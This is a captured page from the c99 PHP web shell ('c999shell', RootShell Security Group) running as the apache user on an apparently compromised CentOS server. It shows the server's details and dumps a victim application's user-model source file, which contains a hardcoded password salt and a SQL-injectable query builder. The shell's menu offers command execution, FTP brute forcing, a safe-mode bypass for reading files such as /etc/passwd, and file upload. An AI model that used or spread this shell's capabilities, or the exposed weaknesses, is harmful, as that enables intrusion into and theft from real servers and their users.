!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/models/ums/   drwxr-xr-x
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     m_umuser.php (3.02 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once("da_umuser.php");
class 
M_Umuser extends Da_umuser {

    function 
getAll($aOrderBy=""){
        
$orderBy "";
        if (
is_array($aOrderBy)) {
            
$orderBy.="ORDER BY ";
            foreach (
$aOrderBy as $key => $value) {
                
$orderBy.= "$key $value, ";
            }
            
$orderBy substr($orderBy0strlen($orderBy)-2);
        }
        
$sql "SELECT * FROM umuser $orderBy";
        
$query $this->db->query($sql);
        return 
$query ;
    }
//and UsActive=1"
    
function check_user($un$pwd){
        
$sql "select * from umuser
                where  UsLogin =? and 
                UsPassword =? "
;
        
$result $this->db->query($sql, array($un,md5("O]O".$pwd."O[O")));
        if(
$result->num_rows()<>0){
        
//if($result){
            
return $result->row_array();
        }else{
            return 
false;
        }
    }    

    public function 
qry() {
        
$sql "SELECT *
                    FROM UMUSER"
;
        
$query $this->db->query($sql);
        return 
$query;
    }

    function 
test2db(){
        
$db_rg=$this->load->database('rg',TRUE);
        
$db_ppc=$this->load->database('ppc',TRUE);
        
$sql "SELECT * 
                FROM $db_rg->database.rg_Person, $db_rg->database.rg_Prefix, $db_ppc->database.Person
                WHERE  $db_rg->database.rg_Person.prsUsId=$db_ppc->database.Person.personId
                AND $db_ppc->database.Person.prefixId=$db_rg->database.rg_Prefix.pfId" 
;
        
$query $db_rg->query($sql);
        return 
$query;
    }

    function 
checkUserByPsId ($ps_id) {
        
$sql "select * from umuser where UsPsCode =?";
        
$result $this->db->query($sql, array($ps_id));
        if (
$result->num_rows() <> 0) {
            return 
$result->row_array();
        } else {
            return 
false;
        }
    }

    function 
qryUmUserByUsPsCode($usPsCode){
        
$sql "select * from umuser where UsPsCode =?";
        
$query $this->db->query($sql, array($usPsCode));
        return 
$query;
    }

    
/* ค้นหาหน่วยงานของบุคคลภายนอก */
    
function getPsoutDpt(){
        
$db_ppc$this->config->item('ppc_dbname');
        
$sql " select outtypeName as deptName
        from $db_ppc.Personout prs
        inner join $db_ppc.Outtype dpt on dpt.outtypeId=prs.outtypeId 
        WHERE psoutId = ? "
;
        
$result $this->db->query($sql, array($this->UsPsCode));
        return 
$result;
    }

    
/* ค้นหาหน่วยงานของบุคลากร */
    
function getPrsDpt(){
        
$db_ppc$this->config->item('ppc_dbname');
        
$sql " select deptName
        from $db_ppc.Person prs
        inner join $db_ppc.Department dpt on dpt.deptId=prs.deptId
        WHERE personId = ? "
;
        
$result $this->db->query($sql, array($this->UsPsCode));
        return 
$result;
    }
    
/*
    * Check UsLogin and UsPsCode
    * @author    beeroma
    * @Create Date 2554-10-28
    */
    
function checkUserAdd($option){
        
$sql "SELECT UsID FROM umuser WHERE ";
        
$option_str "";
        foreach(
$option as $key => $value){
            if(
$option_str != ""){
                
$option_str .= " AND ";
            }
            
$option_str .= " {$key} = '{$value}' ";
        }
        
$sql $sql.$option_str;
        
$result $this->db->query($sql);
        return (
$result->num_rows()>0)?1:0;
    }

//=== end class Umuser

?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0062 ]--